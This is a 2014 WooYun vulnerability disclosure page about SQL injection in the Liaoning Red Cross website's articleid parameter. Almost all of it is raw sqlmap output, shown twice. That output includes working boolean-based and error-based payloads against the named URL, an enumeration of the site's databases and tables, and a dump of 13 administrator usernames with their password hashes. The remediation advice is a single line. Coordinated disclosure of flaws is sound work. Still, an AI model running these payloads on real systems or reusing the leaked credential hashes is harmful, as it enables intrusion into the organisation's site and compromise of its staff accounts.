当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-080132

漏洞标题：辽宁省红十字会存在sql注入漏洞

相关厂商：辽宁省红十字会

漏洞作者： Mr.Ghost

提交时间：2014-10-21 12:48

修复时间：2014-12-05 12:50

公开时间：2014-12-05 12:50

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-21： 细节已通知厂商并且等待厂商处理中
2014-10-25： 厂商已经确认，细节仅向厂商公开
2014-11-04： 细节向核心白帽子及相关领域专家公开
2014-11-14： 细节向普通白帽子公开
2014-11-24： 细节向实习白帽子公开
2014-12-05： 细节向公众公开

简要描述：

辽宁省红十字会官网存在sql注入漏洞，顺带求个码

详细说明：

www.lnredcross.org.cn/web/content.asp?id=46&articleid=1006
存在注入漏洞的参数为：articleid
直接跑程序

sqlmap identified the following injection points with a total of 19 HTTP(s) requ
ests:
---
Place: GET
Parameter: articleid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=46&articleid=1006 AND 9983=9983
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=46&articleid=1006 AND 8171=CONVERT(INT,(CHAR(58)+CHAR(105)+CHAR(
107)+CHAR(104)+CHAR(58)+(SELECT (CASE WHEN (8171=8171) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(58)+CHAR(105)+CHAR(107)+CHAR(101)+CHAR(58)))
---
[14:56:14] [INFO] testing Microsoft SQL Server
[14:56:14] [INFO] confirming Microsoft SQL Server
[14:56:15] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[14:56:15] [INFO] fetching database names
[14:56:16] [INFO] the SQL query used returns 9 entries
[14:56:16] [INFO] retrieved: hongshiziyimai
[14:56:16] [INFO] retrieved: jijinhui
[14:56:17] [INFO] retrieved: lnredcross
[14:56:17] [INFO] retrieved: master
[14:56:20] [INFO] retrieved: model
[14:56:20] [INFO] retrieved: msdb
[14:56:20] [INFO] retrieved: Northwind
[14:56:24] [INFO] retrieved: pubs
[14:56:27] [INFO] retrieved: tempdb
available databases [9]:
[*] hongshiziyimai
[*] jijinhui
[*] lnredcross
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: articleid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=46&articleid=1006 AND 9983=9983
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=46&articleid=1006 AND 8171=CONVERT(INT,(CHAR(58)+CHAR(105)+CHAR(
107)+CHAR(104)+CHAR(58)+(SELECT (CASE WHEN (8171=8171) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(58)+CHAR(105)+CHAR(107)+CHAR(101)+CHAR(58)))
---
[15:01:12] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[15:01:12] [INFO] fetching tables for database 'lnredcross'
[15:01:21] [INFO] the SQL query used returns 35 entries
[15:01:21] [INFO] retrieved: dbo.D99_Tmp
[15:01:22] [INFO] retrieved: dbo.dtproperties
[15:01:22] [INFO] retrieved: dbo.NC_Account
[15:01:22] [INFO] retrieved: dbo.NC_Adboard
[15:01:26] [INFO] retrieved: dbo.NC_AddMoney
[15:01:26] [INFO] retrieved: dbo.NC_Adlist
[15:01:26] [INFO] retrieved: dbo.NC_Admin
[15:01:27] [INFO] retrieved: dbo.NC_Announce
[15:01:27] [INFO] retrieved: dbo.NC_Article
[15:01:27] [INFO] retrieved: dbo.NC_Card
[15:01:28] [INFO] retrieved: dbo.NC_Channel
[15:01:30] [INFO] retrieved: dbo.NC_Classify
[15:01:30] [INFO] retrieved: dbo.NC_Comment
[15:01:30] [INFO] retrieved: dbo.NC_Config
[15:01:31] [INFO] retrieved: dbo.NC_Confirm
[15:01:31] [INFO] retrieved: dbo.NC_DownAddress
[15:01:31] [INFO] retrieved: dbo.NC_DownServer
[15:01:32] [INFO] retrieved: dbo.NC_Favorite
[15:01:32] [INFO] retrieved: dbo.NC_FlashList
[15:01:35] [INFO] retrieved: dbo.NC_Friend
[15:01:36] [INFO] retrieved: dbo.NC_GuestBook
[15:01:36] [INFO] retrieved: dbo.NC_GuestReply
[15:01:36] [INFO] retrieved: dbo.NC_Link
[15:01:37] [INFO] retrieved: dbo.NC_Message
[15:01:37] [INFO] retrieved: dbo.NC_Online
[15:01:37] [INFO] retrieved: dbo.NC_Paymode
[15:01:38] [INFO] retrieved: dbo.NC_ScriptFile
[15:01:38] [INFO] retrieved: dbo.NC_SoftList
[15:01:38] [INFO] retrieved: dbo.NC_Special
[15:01:39] [INFO] retrieved: dbo.NC_Template
[15:01:48] [INFO] retrieved: dbo.NC_User
[15:01:48] [INFO] retrieved: dbo.NC_UserGroup
[15:01:48] [INFO] retrieved: dbo.NC_Vote
[15:01:49] [INFO] retrieved: dbo.sysconstraints
[15:01:53] [INFO] retrieved: dbo.syssegments
Database: lnredcross
[35 tables]
+--------------------+
| dbo.D99_Tmp        |
| dbo.NC_Account     |
| dbo.NC_Adboard     |
| dbo.NC_AddMoney    |
| dbo.NC_Adlist      |
| dbo.NC_Admin       |
| dbo.NC_Announce    |
| dbo.NC_Article     |
| dbo.NC_Card        |
| dbo.NC_Channel     |
| dbo.NC_Classify    |
| dbo.NC_Comment     |
| dbo.NC_Config      |
| dbo.NC_Confirm     |
| dbo.NC_DownAddress |
| dbo.NC_DownServer  |
| dbo.NC_Favorite    |
| dbo.NC_FlashList   |
| dbo.NC_Friend      |
| dbo.NC_GuestBook   |
| dbo.NC_GuestReply  |
| dbo.NC_Link        |
| dbo.NC_Message     |
| dbo.NC_Online      |
| dbo.NC_Paymode     |
| dbo.NC_ScriptFile  |
| dbo.NC_SoftList    |
| dbo.NC_Special     |
| dbo.NC_Template    |
| dbo.NC_User        |
| dbo.NC_UserGroup   |
| dbo.NC_Vote        |
| dbo.dtproperties   |
| dbo.sysconstraints |
| dbo.syssegments    |
+--------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: articleid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=46&articleid=1006 AND 9983=9983
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=46&articleid=1006 AND 8171=CONVERT(INT,(CHAR(58)+CHAR(105)+CHAR(
107)+CHAR(104)+CHAR(58)+(SELECT (CASE WHEN (8171=8171) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(58)+CHAR(105)+CHAR(107)+CHAR(101)+CHAR(58)))
---
[15:05:00] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[15:05:00] [INFO] fetching columns for table 'dbo.NC_Admin' on database 'lnredcr
oss'
[15:05:01] [INFO] the SQL query used returns 11 entries
[15:05:01] [INFO] retrieved: Adminflag
[15:05:03] [INFO] retrieved: int
[15:05:03] [INFO] retrieved: AdminGrade
[15:05:04] [INFO] retrieved: int
[15:05:04] [INFO] retrieved: id
[15:05:04] [INFO] retrieved: int
[15:05:05] [INFO] retrieved: isAloneLogin
[15:05:05] [INFO] retrieved: nvarchar
[15:05:05] [INFO] retrieved: isLock
[15:05:06] [INFO] retrieved: nvarchar
[15:05:06] [INFO] retrieved: Loginip
[15:05:06] [INFO] retrieved: nvarchar
[15:05:07] [INFO] retrieved: LoginTime
[15:05:07] [INFO] retrieved: nvarchar
[15:05:07] [INFO] retrieved: password
[15:05:12] [INFO] retrieved: nvarchar
[15:05:13] [INFO] retrieved: RandomCode
[15:05:13] [INFO] retrieved: nvarchar
[15:05:15] [INFO] retrieved: status
[15:05:16] [INFO] retrieved: nvarchar
[15:05:16] [INFO] retrieved: username
[15:05:16] [INFO] retrieved: nvarchar
Database: lnredcross
Table: dbo.NC_Admin
[11 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| Adminflag    | int      |
| AdminGrade   | int      |
| id           | int      |
| isAloneLogin | nvarchar |
| isLock       | nvarchar |
| Loginip      | nvarchar |
| LoginTime    | nvarchar |
| password     | nvarchar |
| RandomCode   | nvarchar |
| status       | nvarchar |
| username     | nvarchar |
+--------------+----------+
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: articleid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=46&articleid=1006 AND 9983=9983
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=46&articleid=1006 AND 8171=CONVERT(INT,(CHAR(58)+CHAR(105)+CHAR(
107)+CHAR(104)+CHAR(58)+(SELECT (CASE WHEN (8171=8171) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(58)+CHAR(105)+CHAR(107)+CHAR(101)+CHAR(58)))
---
[15:06:59] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[15:06:59] [INFO] fetching columns 'username, password' entries for table 'dbo.N
C_Admin' on database 'lnredcross'
[15:06:59] [INFO] retrieved: 13
[15:06:59] [INFO] fetching number of distinct values for column 'username'
[15:07:00] [INFO] retrieved: 13
[15:07:00] [INFO] using column 'username' as a pivot for retrieving row data
[15:07:00] [INFO] retrieved: 123
[15:07:01] [INFO] retrieved: ac59075b964b0715
[15:07:01] [INFO] retrieved: admin
[15:07:02] [INFO] retrieved: 06536de9f5104260
[15:07:02] [INFO] retrieved: asd
[15:07:02] [INFO] retrieved: f44f4964e6c998de
[15:07:02] [INFO] retrieved: bangongshi
[15:07:39] [INFO] retrieved: 965eb72c92a549dd
[15:07:39] [INFO] retrieved: dingdong
[15:07:49] [INFO] retrieved: 8ad9902aecba32e2
[15:07:49] [INFO] retrieved: ganxibao
[15:07:49] [INFO] retrieved: 2e2594b46e526824
[15:07:50] [INFO] retrieved: gwh
[15:07:50] [INFO] retrieved: 9443e0d88214175f
[15:08:11] [INFO] retrieved: machi
[15:08:11] [INFO] retrieved: 2b0f6f5eae91475d
[15:08:18] [INFO] retrieved: neibuzhuanlan
[15:08:20] [INFO] retrieved: d12b9eccf90f9873
[15:08:20] [INFO] retrieved: rctest
[15:08:21] [INFO] retrieved: aa4949bf181436f2
[15:08:21] [INFO] retrieved: xiangmuban
[15:08:21] [INFO] retrieved: 197cca949bdb9c6d
[15:08:25] [INFO] retrieved: zhenjibu
[15:08:25] [INFO] retrieved: e69785d9338da63f
[15:08:25] [INFO] retrieved: zuxuanbu
[15:08:26] [INFO] retrieved: 965eb72c92a549dd
recognized possible password hash values. do you want to use dictionary attack o
n retrieved table items? [Y/n/q] N
Database: lnredcross
Table: dbo.NC_Admin
[13 entries]
+------------------+---------------+
| password         | username      |
+------------------+---------------+
| ac59075b964b0715 | 123           |
| 06536de9f5104260 | admin         |
| f44f4964e6c998de | asd           |
| 965eb72c92a549dd | bangongshi    |
| 8ad9902aecba32e2 | dingdong      |
| 2e2594b46e526824 | ganxibao      |
| 9443e0d88214175f | gwh           |
| 2b0f6f5eae91475d | machi         |
| d12b9eccf90f9873 | neibuzhuanlan |
| aa4949bf181436f2 | rctest        |
| 197cca949bdb9c6d | xiangmuban    |
| e69785d9338da63f | zhenjibu      |
| 965eb72c92a549dd | zuxuanbu      |
+------------------+---------------+

漏洞证明：

sqlmap identified the following injection points with a total of 19 HTTP(s) requ
ests:
---
Place: GET
Parameter: articleid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=46&articleid=1006 AND 9983=9983
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=46&articleid=1006 AND 8171=CONVERT(INT,(CHAR(58)+CHAR(105)+CHAR(
107)+CHAR(104)+CHAR(58)+(SELECT (CASE WHEN (8171=8171) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(58)+CHAR(105)+CHAR(107)+CHAR(101)+CHAR(58)))
---
[14:56:14] [INFO] testing Microsoft SQL Server
[14:56:14] [INFO] confirming Microsoft SQL Server
[14:56:15] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[14:56:15] [INFO] fetching database names
[14:56:16] [INFO] the SQL query used returns 9 entries
[14:56:16] [INFO] retrieved: hongshiziyimai
[14:56:16] [INFO] retrieved: jijinhui
[14:56:17] [INFO] retrieved: lnredcross
[14:56:17] [INFO] retrieved: master
[14:56:20] [INFO] retrieved: model
[14:56:20] [INFO] retrieved: msdb
[14:56:20] [INFO] retrieved: Northwind
[14:56:24] [INFO] retrieved: pubs
[14:56:27] [INFO] retrieved: tempdb
available databases [9]:
[*] hongshiziyimai
[*] jijinhui
[*] lnredcross
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: articleid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=46&articleid=1006 AND 9983=9983
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=46&articleid=1006 AND 8171=CONVERT(INT,(CHAR(58)+CHAR(105)+CHAR(
107)+CHAR(104)+CHAR(58)+(SELECT (CASE WHEN (8171=8171) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(58)+CHAR(105)+CHAR(107)+CHAR(101)+CHAR(58)))
---
[15:01:12] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[15:01:12] [INFO] fetching tables for database 'lnredcross'
[15:01:21] [INFO] the SQL query used returns 35 entries
[15:01:21] [INFO] retrieved: dbo.D99_Tmp
[15:01:22] [INFO] retrieved: dbo.dtproperties
[15:01:22] [INFO] retrieved: dbo.NC_Account
[15:01:22] [INFO] retrieved: dbo.NC_Adboard
[15:01:26] [INFO] retrieved: dbo.NC_AddMoney
[15:01:26] [INFO] retrieved: dbo.NC_Adlist
[15:01:26] [INFO] retrieved: dbo.NC_Admin
[15:01:27] [INFO] retrieved: dbo.NC_Announce
[15:01:27] [INFO] retrieved: dbo.NC_Article
[15:01:27] [INFO] retrieved: dbo.NC_Card
[15:01:28] [INFO] retrieved: dbo.NC_Channel
[15:01:30] [INFO] retrieved: dbo.NC_Classify
[15:01:30] [INFO] retrieved: dbo.NC_Comment
[15:01:30] [INFO] retrieved: dbo.NC_Config
[15:01:31] [INFO] retrieved: dbo.NC_Confirm
[15:01:31] [INFO] retrieved: dbo.NC_DownAddress
[15:01:31] [INFO] retrieved: dbo.NC_DownServer
[15:01:32] [INFO] retrieved: dbo.NC_Favorite
[15:01:32] [INFO] retrieved: dbo.NC_FlashList
[15:01:35] [INFO] retrieved: dbo.NC_Friend
[15:01:36] [INFO] retrieved: dbo.NC_GuestBook
[15:01:36] [INFO] retrieved: dbo.NC_GuestReply
[15:01:36] [INFO] retrieved: dbo.NC_Link
[15:01:37] [INFO] retrieved: dbo.NC_Message
[15:01:37] [INFO] retrieved: dbo.NC_Online
[15:01:37] [INFO] retrieved: dbo.NC_Paymode
[15:01:38] [INFO] retrieved: dbo.NC_ScriptFile
[15:01:38] [INFO] retrieved: dbo.NC_SoftList
[15:01:38] [INFO] retrieved: dbo.NC_Special
[15:01:39] [INFO] retrieved: dbo.NC_Template
[15:01:48] [INFO] retrieved: dbo.NC_User
[15:01:48] [INFO] retrieved: dbo.NC_UserGroup
[15:01:48] [INFO] retrieved: dbo.NC_Vote
[15:01:49] [INFO] retrieved: dbo.sysconstraints
[15:01:53] [INFO] retrieved: dbo.syssegments
Database: lnredcross
[35 tables]
+--------------------+
| dbo.D99_Tmp        |
| dbo.NC_Account     |
| dbo.NC_Adboard     |
| dbo.NC_AddMoney    |
| dbo.NC_Adlist      |
| dbo.NC_Admin       |
| dbo.NC_Announce    |
| dbo.NC_Article     |
| dbo.NC_Card        |
| dbo.NC_Channel     |
| dbo.NC_Classify    |
| dbo.NC_Comment     |
| dbo.NC_Config      |
| dbo.NC_Confirm     |
| dbo.NC_DownAddress |
| dbo.NC_DownServer  |
| dbo.NC_Favorite    |
| dbo.NC_FlashList   |
| dbo.NC_Friend      |
| dbo.NC_GuestBook   |
| dbo.NC_GuestReply  |
| dbo.NC_Link        |
| dbo.NC_Message     |
| dbo.NC_Online      |
| dbo.NC_Paymode     |
| dbo.NC_ScriptFile  |
| dbo.NC_SoftList    |
| dbo.NC_Special     |
| dbo.NC_Template    |
| dbo.NC_User        |
| dbo.NC_UserGroup   |
| dbo.NC_Vote        |
| dbo.dtproperties   |
| dbo.sysconstraints |
| dbo.syssegments    |
+--------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: articleid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=46&articleid=1006 AND 9983=9983
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=46&articleid=1006 AND 8171=CONVERT(INT,(CHAR(58)+CHAR(105)+CHAR(
107)+CHAR(104)+CHAR(58)+(SELECT (CASE WHEN (8171=8171) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(58)+CHAR(105)+CHAR(107)+CHAR(101)+CHAR(58)))
---
[15:05:00] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[15:05:00] [INFO] fetching columns for table 'dbo.NC_Admin' on database 'lnredcr
oss'
[15:05:01] [INFO] the SQL query used returns 11 entries
[15:05:01] [INFO] retrieved: Adminflag
[15:05:03] [INFO] retrieved: int
[15:05:03] [INFO] retrieved: AdminGrade
[15:05:04] [INFO] retrieved: int
[15:05:04] [INFO] retrieved: id
[15:05:04] [INFO] retrieved: int
[15:05:05] [INFO] retrieved: isAloneLogin
[15:05:05] [INFO] retrieved: nvarchar
[15:05:05] [INFO] retrieved: isLock
[15:05:06] [INFO] retrieved: nvarchar
[15:05:06] [INFO] retrieved: Loginip
[15:05:06] [INFO] retrieved: nvarchar
[15:05:07] [INFO] retrieved: LoginTime
[15:05:07] [INFO] retrieved: nvarchar
[15:05:07] [INFO] retrieved: password
[15:05:12] [INFO] retrieved: nvarchar
[15:05:13] [INFO] retrieved: RandomCode
[15:05:13] [INFO] retrieved: nvarchar
[15:05:15] [INFO] retrieved: status
[15:05:16] [INFO] retrieved: nvarchar
[15:05:16] [INFO] retrieved: username
[15:05:16] [INFO] retrieved: nvarchar
Database: lnredcross
Table: dbo.NC_Admin
[11 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| Adminflag    | int      |
| AdminGrade   | int      |
| id           | int      |
| isAloneLogin | nvarchar |
| isLock       | nvarchar |
| Loginip      | nvarchar |
| LoginTime    | nvarchar |
| password     | nvarchar |
| RandomCode   | nvarchar |
| status       | nvarchar |
| username     | nvarchar |
+--------------+----------+
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: articleid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=46&articleid=1006 AND 9983=9983
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=46&articleid=1006 AND 8171=CONVERT(INT,(CHAR(58)+CHAR(105)+CHAR(
107)+CHAR(104)+CHAR(58)+(SELECT (CASE WHEN (8171=8171) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(58)+CHAR(105)+CHAR(107)+CHAR(101)+CHAR(58)))
---
[15:06:59] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[15:06:59] [INFO] fetching columns 'username, password' entries for table 'dbo.N
C_Admin' on database 'lnredcross'
[15:06:59] [INFO] retrieved: 13
[15:06:59] [INFO] fetching number of distinct values for column 'username'
[15:07:00] [INFO] retrieved: 13
[15:07:00] [INFO] using column 'username' as a pivot for retrieving row data
[15:07:00] [INFO] retrieved: 123
[15:07:01] [INFO] retrieved: ac59075b964b0715
[15:07:01] [INFO] retrieved: admin
[15:07:02] [INFO] retrieved: 06536de9f5104260
[15:07:02] [INFO] retrieved: asd
[15:07:02] [INFO] retrieved: f44f4964e6c998de
[15:07:02] [INFO] retrieved: bangongshi
[15:07:39] [INFO] retrieved: 965eb72c92a549dd
[15:07:39] [INFO] retrieved: dingdong
[15:07:49] [INFO] retrieved: 8ad9902aecba32e2
[15:07:49] [INFO] retrieved: ganxibao
[15:07:49] [INFO] retrieved: 2e2594b46e526824
[15:07:50] [INFO] retrieved: gwh
[15:07:50] [INFO] retrieved: 9443e0d88214175f
[15:08:11] [INFO] retrieved: machi
[15:08:11] [INFO] retrieved: 2b0f6f5eae91475d
[15:08:18] [INFO] retrieved: neibuzhuanlan
[15:08:20] [INFO] retrieved: d12b9eccf90f9873
[15:08:20] [INFO] retrieved: rctest
[15:08:21] [INFO] retrieved: aa4949bf181436f2
[15:08:21] [INFO] retrieved: xiangmuban
[15:08:21] [INFO] retrieved: 197cca949bdb9c6d
[15:08:25] [INFO] retrieved: zhenjibu
[15:08:25] [INFO] retrieved: e69785d9338da63f
[15:08:25] [INFO] retrieved: zuxuanbu
[15:08:26] [INFO] retrieved: 965eb72c92a549dd
recognized possible password hash values. do you want to use dictionary attack o
n retrieved table items? [Y/n/q] N
Database: lnredcross
Table: dbo.NC_Admin
[13 entries]
+------------------+---------------+
| password         | username      |
+------------------+---------------+
| ac59075b964b0715 | 123           |
| 06536de9f5104260 | admin         |
| f44f4964e6c998de | asd           |
| 965eb72c92a549dd | bangongshi    |
| 8ad9902aecba32e2 | dingdong      |
| 2e2594b46e526824 | ganxibao      |
| 9443e0d88214175f | gwh           |
| 2b0f6f5eae91475d | machi         |
| d12b9eccf90f9873 | neibuzhuanlan |
| aa4949bf181436f2 | rctest        |
| 197cca949bdb9c6d | xiangmuban    |
| e69785d9338da63f | zhenjibu      |
| 965eb72c92a549dd | zuxuanbu      |
+------------------+---------------+

修复方案：

加强过滤吧

版权声明：转载请注明来源 Mr.Ghost@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2014-10-25 23:44

厂商回复：

最新状态：

暂无